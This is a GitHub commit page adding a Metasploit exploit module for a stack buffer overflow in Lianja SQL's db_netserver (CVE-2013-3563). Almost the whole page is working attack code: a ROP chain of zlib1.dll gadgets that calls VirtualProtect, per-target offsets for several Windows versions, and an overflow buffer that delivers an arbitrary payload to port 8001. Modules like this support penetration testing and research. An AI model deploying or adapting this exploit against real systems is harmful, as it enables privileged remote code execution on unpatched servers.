Skip to content

Commit c3ab1ed

Browse files
committed
Exploit module for Lianja SQL 1.0.0RC5.1
1 parent 9843dc4 commit c3ab1ed

File tree

1 file changed

+117
-0
lines changed

1 file changed

+117
-0
lines changed
Lines changed: 117 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,117 @@
1+
##
2+
# This file is part of the Metasploit Framework and may be subject to
3+
# redistribution and commercial restrictions. Please see the Metasploit
4+
# web site for more information on licensing and terms of use.
5+
# http://metasploit.com/
6+
##
7+
8+
require 'msf/core'
9+
10+
class Metasploit3 < Msf::Exploit::Remote
11+
Rank = GoodRanking
12+
include Msf::Exploit::Remote::Tcp
13+
14+
def initialize(info = {})
15+
super(update_info(info,
16+
'Name' => 'Lianja SQL 1.0.0RC5.1 db_netserver Stack Buffer Overflow',
17+
'Description' => %q{
18+
This module exploits a stack buffer overflow in the db_netserver
19+
process which is spawned by the Lianja SQL server. The issue is
20+
fixed in Lianja SQL 1.0.0RC5.2.
21+
},
22+
'Author' => [ 'Spencer McIntyre' ],
23+
'License' => MSF_LICENSE,
24+
'References' => [
25+
[ 'CVE', '2013-3563' ],
26+
],
27+
'DefaultOptions' =>
28+
{
29+
'WfsDelay' => 20,
30+
},
31+
'Platform' => 'win',
32+
'Payload' =>
33+
{
34+
'StackAdjustment' => -3500,
35+
'Space' => 500,
36+
'BadChars' => "\x01",
37+
},
38+
'Targets' =>
39+
[
40+
[ 'Windows Server 2008 SP1', { 'vp_offset' => 0xffff0488 } ],
41+
[ 'Windows 7 SP1', { 'vp_offset' => 0xfffe55f1 } ],
42+
[ 'Windows Server 2003 SP1', { 'vp_offset' => 0xffff7483 } ],
43+
[ 'Windows XP SP3', { 'vp_offset' => 0xfffed507 } ],
44+
[ 'Windows XP SP2', { 'vp_offset' => 0xfffc882d } ],
45+
],
46+
'DefaultTarget' => 0,
47+
'Privileged' => true,
48+
'DisclosureDate' => 'May 22 2013'))
49+
50+
register_options(
51+
[
52+
Opt::RPORT(8001),
53+
], self.class)
54+
end
55+
56+
def check
57+
begin
58+
connect
59+
rescue
60+
return Exploit::CheckCode::Safe
61+
end
62+
sock.put("db_net")
63+
if sock.recv(4) =~ /\d{1,5}/
64+
return Exploit::CheckCode::Detected
65+
end
66+
return Exploit::CheckCode::Safe
67+
end
68+
69+
def rop_chain
70+
# all addresses are in zlib1.dll
71+
rop_chain = [
72+
0x61b8f873, # POP EBP # RETN
73+
0x06b930c6, # 0x06b930c6-> ebp
74+
0x61b86430, # XCHG EAX,EBP # RETN
75+
0x61b88f48, # MOV ESI,DWORD PTR DS:[EAX+5B000016] # RETN
76+
0x61b86858, # POP ECX # ADC AL,39 # RETN
77+
target['vp_offset'], # something-> ecx (offset of &k32.VirtualProtect - &k32.AddAtomA)
78+
0x61b84c8d, # ADD ESI,ECX # POP EBX # MOV EAX,ESI # POP ESI # RETN
79+
0x41414141, # Filler (compensate)
80+
0x61B925e0, # address of zlib1:.edata
81+
0x61b8fcab, # JMP EAX
82+
0x61b8493a, # RETN (ROP NOP)
83+
0x61B925e0, # address of zlib1:.edata
84+
0x00000500, # dwSize
85+
0x00000040, # NewProtect
86+
0x61B925d0, # lpOldProtect
87+
0x61b84939, # POP EDI # RETN
88+
0x00000000, # 0x00000000-> edi
89+
0x61b8f873, # POP EBP # RETN
90+
0x61b93146, # 0x61b93146-> ebp
91+
0x61b86430, # XCHG EAX,EBP # RETN
92+
0x61b8c9fc, # ADC EDI,DWORD PTR DS:[EAX-2] # MOV EBX,DWORD PTR SS:[ESP+8] # ADD ESP,0C # RETN
93+
0x41414141, # Filler (compensate)
94+
0x42424242, # Filler (compensate)
95+
0x00000500, # size
96+
0x61b8f873, # POP EBP # RETN
97+
0x61B925e0, # address of zlib1:.edata
98+
0x61b820fd, # PUSHAD # RETN
99+
].pack("V*")
100+
return rop_chain
101+
end
102+
103+
def exploit
104+
connect
105+
sock.put("db_net")
106+
sock.recv(4)
107+
108+
print_status("#{rhost}:#{rport} - Sending Malicious Data")
109+
evil_data = '000052E1'
110+
evil_data << 'A'
111+
evil_data << ('0' * 19991) # this can't be randomized, else a Read Access Violation will occur
112+
evil_data << rop_chain
113+
evil_data << payload.encoded
114+
sock.put(evil_data)
115+
disconnect
116+
end
117+
end

0 commit comments

Comments
 (0)